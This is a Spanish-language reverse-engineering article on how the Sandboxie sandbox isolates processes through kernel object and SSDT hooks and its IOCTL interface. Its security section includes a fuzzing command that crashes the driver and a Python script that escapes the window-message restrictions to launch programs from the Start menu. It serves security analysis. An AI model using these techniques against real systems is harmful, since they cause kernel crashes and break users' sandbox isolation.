Sandbox I. Sandboxie. Aislamiento de procesos mediante control de acceso a objetos en kernel.
0. Indice:
- 1. Introducción.
- 2. Diseño de Sandboxie.
- 3. Control de acceso a recursos.
- 3.1. El hookeo en objectos de \ObjectTypes.
- 3.2. Los hookeos en la ssdt y la shadow ssdt.
- 4. Los io controles.
- 5. Seguridad de Sandboxie.
- 5.1. Fuzzing de io controls.
- 5.2. Envío de mensajes a Shell_TrayWnd (ventana excluída por Sandboxie).
- 5.3. Nombres largos.
- 5.4. Parseo de formatos complejos.
- 5.5. Conclusión.
1. Introducción:
En este artículo voy a hablar de Sandboxie, una sandbox que realiza aislamiento de procesos y cuyos pilares son:
-El control de acceso a objetos en kernel mediante hooks directos en las estructuras de los mismos objetos.
-Algunos hookeos en la ssdt y la shadow ssdt para control de mensajes a ventanas de procesos no sandboxeados.
-Algunos callbacks registrados en el sistema para control de creación de procesos, imágenes cargadas, etc…
Hablaré un poco del diseño de la sandbox, las técnicas que usa para “construir la celda”, y lo fiable o no que, bajo mi punto de vista, pueden llegar a ser este tipo de sandbox.
2. Diseño de Sandboxie:
Aunque sandboxie consta de la aplicación que hace de interfaz, un servicio, etc… Y otros componentes, en relación con la sandbox sólo nos interesan el driver (sbiedrv.sys) y la dll que inyecta en todos los procesos sandboxeados (sbiedll.dll).
A grandes rasgos Sandboxie funciona de la siguiente manera:
El driver de Sandboxie hookea todo lo necesario en kernel para proteger los recursos que quiere proteger de los procesos sandboxeados.
El driver pone además un callback con PsLoadImageNotifyRoutine y PsCreateProcessNotifyRoutine para ser notificado cuando se carga una imagen en un proceso y cuando se crea un proceso. El driver mantiene una lista de procesos sandboxeados en kernel, y gracias a estos callbacks puede mantener actualizadas las listas de los procesos sanboxeados. Lo que hace es comprobar si el padre del proceso creado es sandboxeado, y si lo es, el hijo pasa a la lista también (también es posible mediante io controles indicar que un proceso debe pasar a considerarse sandboxeado. Esto es necesario para lanzar procesos sandboxeados desde la interfaz de usuario de Sandboxie).
El driver no se complica la vida en el control de acceso a recursos protegidos: si es un proceso sandboxeado deniega el acceso a cualquier recurso protegido, si no es sandboxeado, lo permite.
Sin embargo cuando manejamos Sandboxie vemos que permite el acceso a algunos recursos protegidos desde los procesos sandboxeados. Además crea un sistema de archivos, entradas de registro, etc… paralelos para cada sandbox manejada.
Para controlar esto el driver de Sandboxie exporta una serie de io controls. Exporta mucha funcionalidad mediante estos io controls, y algunos de ellos sirven para acceder a los recursos protegidos desde los procesos sandboxeados, pero de una manera controlado (discriminando a qué tiene acceso y a qué no, el proceso sandboxeado).
Aquí es donde entra en juego la dll SbieDll que entre otras cosas hookea todas las exports en todas las dlls de cada proceso sandboxeado.
Esta dll es fundamental para que el proceso sandboxeado funcione correctamente ya que en el hook de ciertas apis conocidas (ZwCreateFile, ZwCreateProcess, ZwOpenKey, etc…) la dll corta el flujo normal hacía kernel para redirigirlo hacía los io controles del driver donde se realizará un acceso a los recursos protegidos de manera controlada (una pequeña prueba que demuestra esto es que si quitamos con HookShark por ejemplo todos los hooks de modo usuario se nos queda un proceso sandboxeado sin acceso a nada, porque el driver lo deniega todo).
3. Control de acceso a recursos:
No se si se me ha escapado algo de lo que SbieDrv intercepta en kernel. Los principales hookeos que he visto que realiza son:
En los objetos token, process, thread, event, section, port y semaphore, de tipo Type, que cuelgan de \ObjectTypes, hookean el puntero a función de tipo OB_OPEN_METHOD para controlar el acceso a este tipo de objetos:
OBJECT_TYPE ->OBJECT_TYPE_INITIALIZER-> OpenProcedure
Sólo con esto puede controlar el acceso a disco, registro, etc…
Pero todavía necesita controlar todo el tema de ventanas, que lo maneja win32k.sys: debe cortar el envío de mensajes de las ventanas de aplicaciones sandboxeadas a las ventanas de las no sandboxeadas, debe evitar que las aplicaciones sandboxeadas puedan registrar Windows hooks, etc…
Para poder hacer esto SbieDrv necesita interceptar algunas funciones de la ssdt y la shadow ssdt:
win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent
3.1. El hookeo en objectos de \ObjectTypes:
Vamos a ver primero como son estos objetos que cuelgan del directorio ObjectTypes. Tomamos para el ejemplo el objeto \ObjectTypes\Token:
WINDBG>!object \ObjectTypes
Object: e1000548 Type: (819f1418) Directory
ObjectHeader: e1000530 (old version)
HandleCount: 0 PointerCount: 25
Directory Object: e1001520 Name: ObjectTypes
Hash Address Type Name
—- ——- —- —-
00 819f1418 Type Directory
01 819ccca0 Type Thread
819c95e0 Type Mutant
03 8198cca0 Type FilterCommunicationPort
05 819b8e70 Type Controller
07 819c8ca0 Type Profile
819c9980 Type Event
819f15e8 Type Type
09 819c8560 Type Section
819c97b0 Type EventPair
819f1248 Type SymbolicLink
10 819c8730 Type Desktop
11 819c8e70 Type Timer
12 819b8730 Type File
819c8900 Type WindowStation
16 819b8ad0 Type Driver
18 819eb910 Type WmiGuid
819c8ad0 Type KeyedEvent
19 819cc040 Type Token
819b8ca0 Type Device
20 819cc408 Type DebugObject
21 819b8900 Type IoCompletion
22 819cce70 Type Process
24 819f0300 Type Adapter
26 819c5980 Type Key
28 819ccad0 Type Job
31 819f0708 Type WaitablePort
819f08d8 Type Port
32 819c9410 Type Callback
33 8198ce70 Type FilterConnectionPort
34 819c8040 Type Semaphore
WINDBG>!object 819cc040
Object: 819cc040 Type: (819f15e8) Type
ObjectHeader: 819cc028 (old version)
HandleCount: 0 PointerCount: 1
Directory Object: e1000548 Name: Token
WINDBG>dt _OBJECT_TYPE 819cc040
ntdll!_OBJECT_TYPE
+0x000 Mutex : _ERESOURCE
+0x038 TypeList : _LIST_ENTRY [ 0x819cc078 – 0x819cc078 ]
+0x040 Name : _UNICODE_STRING «Token»
+0x048 DefaultObject : 0x80558cc0
+0x04c Index : 4
+0x050 TotalNumberOfObjects : 0x1a
+0x054 TotalNumberOfHandles : 0x10
+0x058 HighWaterNumberOfObjects : 0x1d
+0x05c HighWaterNumberOfHandles : 0x14
+0x060 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x0ac Key : 0x656b6f54
+0x0b0 ObjectLocks : [4] _ERESOURCE
Como vemos de \ObjectTypes cuelgan varios objetos de tipo Type. La estructura de estos objetos es de tipo _OBJECT_TYPE.
—- ——- —- —-
00 819f1418 Type Directory
01 819ccca0 Type Thread
819c95e0 Type Mutant
03 8198cca0 Type FilterCommunicationPort
05 819b8e70 Type Controller
07 819c8ca0 Type Profile
819c9980 Type Event
819f15e8 Type Type
09 819c8560 Type Section
819c97b0 Type EventPair
819f1248 Type SymbolicLink
10 819c8730 Type Desktop
11 819c8e70 Type Timer
12 819b8730 Type File
819c8900 Type WindowStation
16 819b8ad0 Type Driver
18 819eb910 Type WmiGuid
819c8ad0 Type KeyedEvent
19 819cc040 Type Token
819b8ca0 Type Device
20 819cc408 Type DebugObject
21 819b8900 Type IoCompletion
22 819cce70 Type Process
24 819f0300 Type Adapter
26 819c5980 Type Key
28 819ccad0 Type Job
31 819f0708 Type WaitablePort
819f08d8 Type Port
32 819c9410 Type Callback
33 8198ce70 Type FilterConnectionPort
34 819c8040 Type Semaphore
Object: 819cc040 Type: (819f15e8) Type
ObjectHeader: 819cc028 (old version)
HandleCount: 0 PointerCount: 1
Directory Object: e1000548 Name: Token
ntdll!_OBJECT_TYPE
+0x000 Mutex : _ERESOURCE
+0x038 TypeList : _LIST_ENTRY [ 0x819cc078 – 0x819cc078 ]
+0x040 Name : _UNICODE_STRING «Token»
+0x048 DefaultObject : 0x80558cc0
+0x04c Index : 4
+0x050 TotalNumberOfObjects : 0x1a
+0x054 TotalNumberOfHandles : 0x10
+0x058 HighWaterNumberOfObjects : 0x1d
+0x05c HighWaterNumberOfHandles : 0x14
+0x060 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x0ac Key : 0x656b6f54
+0x0b0 ObjectLocks : [4] _ERESOURCE
Como vemos de \ObjectTypes cuelgan varios objetos de tipo Type. La estructura de estos objetos es de tipo _OBJECT_TYPE.
Dentro de esta estructura _OBJECT_TYPE nos interesa especialmente OBJECT_TYPE_INITIALIZER porque dentro de esta subestructura vamos a tener los punteros a los callbacks que son llamados cuando se abre, cierra, etc… los objetos de este tipo.
typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length; 2 bytes
BOOLEAN UseDefaultObject; 1 byte
BOOLEAN Reserved; 1 byte
ULONG InvalidAttributes; 4 bytes
GENERIC_MAPPING GenericMapping; 16 bytes
ULONG ValidAccessMask; 4 bytes
BOOLEAN SecurityRequired; 1 byte
BOOLEAN MaintainHandleCount; 1 byte
BOOLEAN MaintainTypeList; 1 byte
POOL_TYPE PoolType; 1 byte
ULONG ObjectTypeCode; 4 bytes //-> depende de la versión del sistema operativo,
//de esto depende que se acceda a +30h
//o a +34h para buscar el puntero para hookear
ULONG DefaultPagedPoolCharge; 4 bytes
ULONG DefaultNonPagedPoolCharge; 4 bytes
//——
OB_DUMP_METHOD DumpProcedure; 4 bytes
OB_OPEN_METHOD OpenProcedure; 4 bytes
OB_CLOSE_METHOD CloseProcedure; 4 bytes
OB_DELETE_METHOD DeleteProcedure; 4 bytes
OB_PARSE_METHOD ParseProcedure; 4 bytes
OB_SECURITY_METHOD SecurityProcedure; 4 bytes
OB_QUERYNAME_METHOD QueryNameProcedure; 4 bytes
OB_OKAYTOCLOSE_METHOD OkayToCloseProcedure; 4 bytes
//——
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
Dependiendo de la versión del sistema operativo esta estructura tiene un campo más o no (el campo ObjectTypeCode). SbieDrv tiene en cuenta este detalle para hookear correctamente el puntero OpenProcedure en todas las versiones que soporta.
Este puntero es de tipo OB_OPEN_METHOD:
typedef NTSTATUS
(NTAPI *OB_OPEN_METHOD)(
IN OB_OPEN_REASON Reason,
IN PEPROCESS Process OPTIONAL,
IN PVOID ObjectBody,
IN ACCESS_MASK GrantedAccess,
IN ULONG HandleCount
);
Este callback es llamado cuando se abre un objeto del tipo en el que se hookea. En este caso cuando se abra un objeto de tipo Token se llamará a este callback, y aquí es posible controlar la apertura de dicho objeto.
Como hemos dicho SbieDrv hookea el callback OpenProcedure para los objetos de tipo token, process, thread, event, section, port y semaphore. Aquí vemos como SbieDrv llama a la función que realiza todo el hookeo con el nombre de cada objeto y el puntero para el hook de éste:
Vemos como comprueba la versión y el build del sistema operativo para calcular los offsets dentro de las estructuras del objeto donde encontrar el OpenProcedure.
——
Si version < 4:
Si BuildNumber <= 1770h:
OpenProcedureOffset = pTypeObjHeader+30h+60h
Sino:
OpenProcedureOffset = pTypeObjHeader+30h+28h
Sino:
Si BuildNumber <= 1770h:
OpenProcedureOffset = pTypeObjHeader+30h+60h
Sino:
OpenProcedureOffset = pTypeObjHeader+34h+28h
——
Para el hookeo utiliza una pieza de código que escribe en memoria del sistema operativo, seguramente porque el sistema operativo controla que estos punteros apunten a memoria suya. Las piezas de código con las que hookea son siempre así:
Esta función que he nombrado “ComprobarProcessIdEnListaDeSandboxeadosObtenerEstructura” busca en las listas de procesos sandboxeados el processid que se le pasa. Si se le pasa cero busca el current process. Como vemos en el trozo que usa para hookear siempre comprueba si el proceso actual es sandboxeado. Si no lo es, deja acceder. Si lo es, pasa a llamar a una función específica del tipo de objeto accedido (una para Token, otra para Process, etc…), pero en este punto ya ha decidido cortar el acceso al objeto (el proceso tendrá que acceder a estos objetos usando los io controles de SbieDrv).
En la imagen a continuación vemos el punto donde SbieDrv compone el bloque de código para el hookeo y el punto donde escribe el puntero en la estructura de kernel.
3.2. Los hookeos en la ssdt y la shadow ssdt:
Como hemos dicho antes Sandboxie hookea las siguientes apis:
win32k_NtUserCallHwndParamLock
win32k_NtUserDestroyWindow
win32k_NtUserShowWindow
win32k_NtUserSendInput
win32k_NtUserBlockInput
win32k_NtUserSystemParametersInfo
win32k_NtUserSetSysColors
win32k_NtUserSetSystemCursor
win32k_NtUserMessageCall
win32k_NtUserPostMessage
win32k_NtUserPostThreadMessage
win32k_NtUserSetWindowsHookEx
win32k_NtUserSetWinEventHook
nt_NtRequestPort
nt_NtRequestWaitReplyPort
nt_NtTraceEvent
La mayoría están relacionadas con el control de mensajes de ventana a las aplicaciones sandboxeadas. Vamos a analizar por ejemplo el hook a win32k_NtUserMessageCall:
En varias de las apis interceptadas hay que gestionar un mensaje de ventana enviado a una ventana concreta. SbieDrv tiene una función común que hace esta gestión, la que he nombrado Hook_Win32k_Gestiona_MensajeDeVentana:
Esta función va comprobando el mensaje y sus parámetros para decidir qué mensajes permite enviar a las aplicaciones sandboxeadas y cuáles no. La función Hook_Win32k_Gestiona_MensajeDeVentana actúa de esta manera:
-Primero obtiene el id del proceso que envía y el que recibe el mensaje. Si el proceso que envía y el que recibe es el mismo, deja pasar el msg.
-Sino, comprueba si el receptor es un sandboxeado. Si lo es, deja pasar el mensaje.
-A continuación comprueba si el msg es 0x3e4 y si lo es lo deja pasar.
– Luego obtiene el nombre de la clase de la ventana objetivo. Tiene una lista de nombres de clases de ventanas que deben ser tratadas como excepciones para las cuales se permiten algunos mensajes adicionales:
TrayNotifyWnd
SystemTray_Main
Connections Tray
MS_WebcheckMonitor
PrintTray_Notify_WndClass
CicLoaderWndClass
CicMarshalWndClass
Logitech Wingman Internal Message Router
devldr
CTouchPadSynchronizer
Type32_Main_Window
TForm_AshampooFirewall
WinVNC desktop sink
Afx:400000:0
NVIDIA TwinView Window
Shell_TrayWnd
Seguramente necesite meter estas excepciones para el funcionamiento correcto de algunas aplicaciones típicas: explorer, navegadores, etc…
-Si el mensaje no es para un proceso de la sandbox, y el que envía sí es un proceso de la sandbox, si la ventana objetivo no es una de las dichas anteriormente, sale directamente prohibiendo el envío del mensaje.
–Para todas las clases de ventanas que son excepciones primero comprueba si el mensaje es de tipo WM_USER (0x400) o mayor. Si es por debajo de 0x400, comprueba contra la siguiente lista de mensajes inválidos para estas clases de ventanas conocidas:
2h – WM_DESTROY
0Bh – WM_SETREDRAW
10h – WM_CLOSE
11h – WM_QUERYENDSESSION
12h – WM_QUIT
16h – WM_ENDSESSION
3Bh –
4Eh – WM_NOTIFY
82h – WM_NCDESTROY
111h – WM_COMMAND
112h – WM_SYSCOMMAND
319h
–Si no es ninguno de los anteriores ids, sale dejando pasar el mensaje.
-Si es un mensaje por arriba de 0x400, según la clase de ventana que sea, deja pasar unos u otros. Por ejemplo para Shell_TrayWnd deja pasar el id de msg 0x4ec.
4. Los io controles:
Sandboxie crea el siguiente device:
\device\SandboxieDriverApi
Para enviar io controles a Sandboxie él espera que sean:
DeviceType = FILE_DEVICE_UNKNOWN = 0x00000022
Function = 0x801
Method = METHOD_NEITHER
Access = 0
CTL_CODE(0x00000022, 0x801, METHOD_NEITHER, 0);
Por lo tanto el driver accede desde kernel a un buffer en user mode para recuperar los parámetros del io control. El formato de dicho buffer depende de la operación que se le solicite. Este buffer en zona de usuario tiene que tener un tamaño entre 0x8 y 0x40 bytes. El primer DWORD siempre es un valor 0x123400XX, que son los ids de las distintas operaciones que ofrece SbieDrv a través de sus io controles. SbieDrv tiene asociada una función a cada id soportado para gestionar el io control.
A continuación los io controles soportados.
0x12340001:
[0x12340001][XXXXXXXX][ptr zona mem usuario out]
Este ioctl guarda en el puntero en zona de usuario la cadena de versión de sandboxie.
0x12340002:
[0x12340002][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr zona mem usuario out] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX]
Pedir lista de procesos sandboxeados.
0x12340003:
Petición de escritura de fichero.
0x12340007:
[0x12340007][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr zona mem usuario]
0x12340008:
[0x12340008][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX] [XXXXXXXX][XXXXXXXX][XXXXXXXX][XXXXXXXX][ptr mem usr][XXXXXXXX][ptr mem usr][XXXXXXXX][ptr mem usr]
0x12340009: Obtener objecto proceso a partir de pid
0x1234000a
0x1234000b: Parece que sirve para pedir información de procesos sandboxeados.
El proceso sbiectrl.exe está constantemente mandando los códigos 0x1234000b, 0x1234000c y 0x12340002 al driver.
0x1234000c: Parece que pregunta al driver la fecha y hora.
0x1234000d: Con este iocontrol se pide que el driver desproteja una dirección en modo usuario para luego meterle el jump del hook. Así hookea sbiedll (en la rva 0xe7a9) en modo usuario.
[0x1234000D][XXXXXXXX][ptr funcion modo usuario][XXXXXXXX][ptr memoria usuario info hook]
0x1234000f: Sirve para consultar una opción de una sandbox. Algunas opciones de sandboxie:
DisableBoxedWinSxS
InjectDll
AutoExec
OpenProtectedStorage
OpenCredentials
OpenWinClass
NoRenameWinClass
BoxNameTitle
ClsidTrace
OpenClsid
StartService
StartProgram
AutoRecover
RecoverFolder -> para recuperar todas las carpetas de autorecover
AutoRecoverIgnore
0x12340010: Con este iocontrol se le pide al driver que se actualice con los datos de los ini: sandboxie.ini y templates.ini. El propio driver se pone a parsear los ini.
0x12340011
0x12340015
0x12340016: En este iocontrol se hookean las funciones de ntoskrnl.exe y de win32k.sys (de la ssdt y la shadow).
0x12340019
0x1234001e
0x1234001f: Relacionado con los accesos a disco.
0x12340021
0x12340024
0x12340025
0x12340026
0x12340028
0x1234002b: Obtener handle a proceso.
5. Seguridad de Sandboxie:
Primero vamos a ver algunos detalles y a hacer algunas pruebas relacionadas con este tema.
5.1. Fuzzing de io controls:
SandBoxie exporta varios io controles con mucha funcionalidad necesaria para su funcionamiento, tanto a procesos sandboxeados como no sandboxeados.
No he entrado muy en detalle en el fuzzing de los io controles, sólo una pequeña prueba realizada con Kartoffel (kartoffel.reversemode.com). Llamamos a Kartoffel con esta línea de comandos:
FOR %%A IN (0 1 2) DO FOR %%B IN (0 1 2 3 4 5 6 7 8 9 A B C D E F) DO Kartoffel -d \device\SandboxieDriverApi -n 0x40 -o 0x40 -z 0x40 -Z 0x40 -I 0x222007 -u CUSTOM,»[P=0x123400%%A%%B::*0][B=0x41::*0x3c$4][!!]»
Con esta orden vamos a enviar a io controles con id desde 0x12340001 hasta 0x1234002f, seguidos por un buffer lleno de ‘A’. Todo junto tiene un tamaño de 0x40 (el máximo soportado por Sandboxie).
[0x123400XX][AAAAAAAAAAAAAAAAAAAAAAA…]
Al lanzar este simple fuzzeo, cuando llega al id 0x12340027 salta un bug check:
WINDBG>!analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
DRIVER_CORRUPTED_MMPOOL (d0)
Arguments:
Arg1: 6b757a74, memory referenced
Arg2: 00123400, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: 12340027, address which referenced memory
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is
caused by drivers that have corrupted the system pool. Run the driver
verifier against any new (or suspect) drivers, and if that doesn’t turn up
the culprit, then use gflags to enable special pool. You can also set
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ProtectNonPagedPool
to a DWORD 1 value and reboot. Then the system will unmap freed nonpaged pool,
preventing drivers (although not DMA-hardware) from corrupting the pool.
Debugging Details:
——————
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************
READ_ADDRESS: 6b757a74 (kuzt -> tzuk -> el nombre del autor)
CURRENT_IRQL: 123400
FAULTING_IP:
+5c1952f0012c4f0
12340027 ?? ???
DEFAULT_BUCKET_ID: DRIVER_FAULT
BUGCHECK_STR: 0xD0
PROCESS_NAME: Kartoffel.exe
LAST_CONTROL_TRANSFER: from 804f7b27 to 8052716c
STACK_TEXT:
f7642750 804f7b27 00000003 f7642aac 00000000 nt!RtlpBreakWithStatusInstruction
f764279c 804f8714 00000003 c0000005 00000000 nt!KiBugCheckDebugBreak+0x19
f7642b7c 804f8c3f 000000d0 6b757a74 00123400 nt!KeBugCheck2+0x574
f7642b9c f7cce31f 000000d0 6b757a74 00123400 nt!KeBugCheckEx+0x1b
WARNING: Stack unwind information not available. Following frames may be wrong.
f7642c34 804ee0ef 81740340 817398a0 806d12d0 SbieDrv+0x131f
f7642c44 80574032 81739910 818b2b88 817398a0 nt!IopfCallDriver+0x31
f7642c58 80574ec1 81740340 817398a0 818b2b88 nt!IopSynchronousServiceTail+0x60
f7642d00 8056d81e 000007b4 00000000 00000000 nt!IopXxxControlFile+0x5e7
f7642d34 8053cbc8 000007b4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f7642d34 7c91eb94 000007b4 00000000 00000000 nt!KiFastCallEntry+0xf8
0012eca4 7c91d8ef 7c8016be 000007b4 00000000 ntdll!KiFastSystemCallRet
0012eca8 7c8016be 000007b4 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012ed08 0040617d 000007b4 00222007 003b0808 kernel32!DeviceIoControl+0x78
0012fee4 0040a9cd 0000000f 003b0b40 003b0c10 Kartoffel+0x617d
0012ffc0 7c816ff7 0000001a 00000000 7ffdd000 Kartoffel+0xa9cd
0012fff0 00000000 0040a85a 00000000 78746341 kernel32!BaseProcessStart+0x23
STACK_COMMAND: kb
FOLLOWUP_IP:
SbieDrv+131f
f7cce31f 8bf7 mov esi,edi
SYMBOL_STACK_INDEX: 4
SYMBOL_NAME: SbieDrv+131f
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: SbieDrv
IMAGE_NAME: SbieDrv.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 4d8b29aa
FAILURE_BUCKET_ID: 0xD0_SbieDrv+131f
BUCKET_ID: 0xD0_SbieDrv+131f
Followup: MachineOwner
———
Sorting ‘Functions window’… ok
KeBugCheck es llamado por el propio SbieDrv porque detecta algo raro, así que es un simple DoS no muy peligroso. Pero que un fuzzeo tan simple nos provoque un DoS en kernel nos hace pensar que el código de SbieDrv tiene varios cabos sueltos.
5.2. Envío de mensajes a Shell_TrayWnd (ventana excluída por Sandboxie):
Como ya vimos en el análisis de los hooks para controles de mensajes a ventanas hay una serie de ventanas excluídas para las que se permiten algunos mensajes adicionales. Entre ellas está Shell_TrayWnd, la ventana de la barra de aplicaciones.
El siguiente script demuestra que estos mensajes permitidos a Shell_TrayWnd nos permiten movernos por el menú inicio y lanzar aplicaciones linkadas desde él:
import random
random.seed()
VK_LEFT=0x25
VK_UP=0x26
VK_RIGHT=0x27
VK_DOWN=0x28
VK_RETURN=0x0d
VK_TAB=0x09
VK_SHIFT=0x10
VK_CONTROL=0x11
VK_MENU=0x12
import ctypes
import time
from ctypes.wintypes import DWORD, HWND, HANDLE, LPCWSTR, WPARAM, LPARAM, RECT, POINT
trayRect=RECT(0,0,0,0)
trayWindow = ctypes.windll.user32.FindWindowExA(0,0,"Shell_TrayWnd",0)
trayNotifyWindow = ctypes.windll.user32.FindWindowExA(trayWindow,0,"TrayNotifyWnd",0)
def PressKey(hwin,key):
msgkeydown=0x100
msgkeyup=0x101
ctypes.windll.user32.PostMessageA(hwin, msgkeydown, key, 0) #KEYDOWN
time.sleep(0.1)
ctypes.windll.user32.PostMessageA(hwin, msgkeyup, key, 0) #KEYUP
time.sleep(0.1)
ctypes.windll.user32.PostMessageA(trayWindow, 0xa1, 1, 0x200020) #WM_NCLBUTTONDOWN
ctypes.windll.user32.PostMessageA(trayWindow, 0xa2, 0, 0x200020) #WM_NCLBUTTONUP
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_RETURN)
(Las pulsaciones de teclas son las necesarias para lanzar la calculadora tal como yo tenía colocado el menú inicio cuando hice la prueba).
No es un problema de seguridad grave pero pienso que tampoco es el comportamiento que espera el usuario de la sandbox.
5.3. Nombres largos:
Sandboxie tiene problemas con nombres de ficheros largos (más largos que MAX_PATH y hasta 32 mil y pico caracteres) porque en su callback LoadImageNotifyRoutine llega el nombre a NULL.
No he visto problemas de seguridad aquí pero sí que se obtienen mensajes de error y comportamientos que sin Sandboxie no ocurrirían (tanto en procesos sandboxeados como no sandboxeados).
Sin embargo este detalle nos vuelve a hacer pensar que es difícil interceptar demasiadas cosas en el sistema operativo, en puntos muy delicados, y tener en cuenta todos los posibles casos.
5.4. Parseo de formatos complejos:
En mi opinión el driver de Sandboxie tiene código bastante arriesgado en kernel.
Por ejemplo, en el callback LoadImageNotifyRoutine se hace un parseo a fondo de la cabecera PE de la imagen cargada en modo usuario. A continuación vemos el comienzo de dicho parseo en el que más adelante profundiza en los recursos, etc…
También abre y parsea los ficheros de configuración .ini desde kernel:
En otros puntos desensambla instrucciones a la entrada de funciones (tanto de kernel como de modo usuario) para saber que tipo de hook debe meter y guardarse las instrucciones sobrescritas. Cuando por ejemplo se va a pinchar algo en modo usuario es el driver el que va a salvar en un buffer de usuario las instrucciones que se van a sobreescribir.
En definitiva, mi opinión es que Sandboxie mete bastante código complejo y arriesgado en kernel. Ya vimos en el sencillo fuzzeo de io controles que SbieDrv deja más de un cabo suelto. No me he metido a fuzzear en profundida: ficheros ini, cabeceras pe, etc… pero tengo la impresión de que saltaría la liebre por más de un sitio.
5.5. Conclusión:
En general mi opinión es que las sandbox por aislamiento de proceso llevan una inseguridad intrínseca:
-Es difícil interceptar todo lo peligroso a lo que puede acceder un proceso.
-Se va a introducir código (los hooks) en puntos muy delicados del sistema por lo que hay que confiar mucho en ese código.
-Se van a tocar cosas muy dependientes de la versión del sistema operativo para interceptar todo lo necesario.
-Muchos de los hooks necesarios no van a ser muy limpios ni documentados, ni soportados por el sistema, más propios de un rootkit que de una herramienta de seguridad.
-Seguramente vas a necesitar meter algunas excepciones a lo que prohibes en la sandbox para que funcionen algunas aplicaciones típicas, como hace Sandboxie.
-En el caso de Sandboxie además se meten en kernel muchos bloques de código complejos que en mi opinión podrían estar en modo usuario: parseo de ficheros sandboxie.ini y templates.ini, parseo de cabeceras PE, etc…
-También en el caso de Sandboxie, por su diseño, necesita exportar mucha funcionalidad compleja a través de io controles.
Mi conclusión respecto a Sandboxie es que es una herramienta útil en la que sí lanzaría un navegador o un pdf reader para ayudar a protegerme contra vulnerabilidades, pero si fuera a lanzar malware dentro de Sandboxie, lanzaría Sandboxie dentro de una vmware, bochs u otra máquina virtual.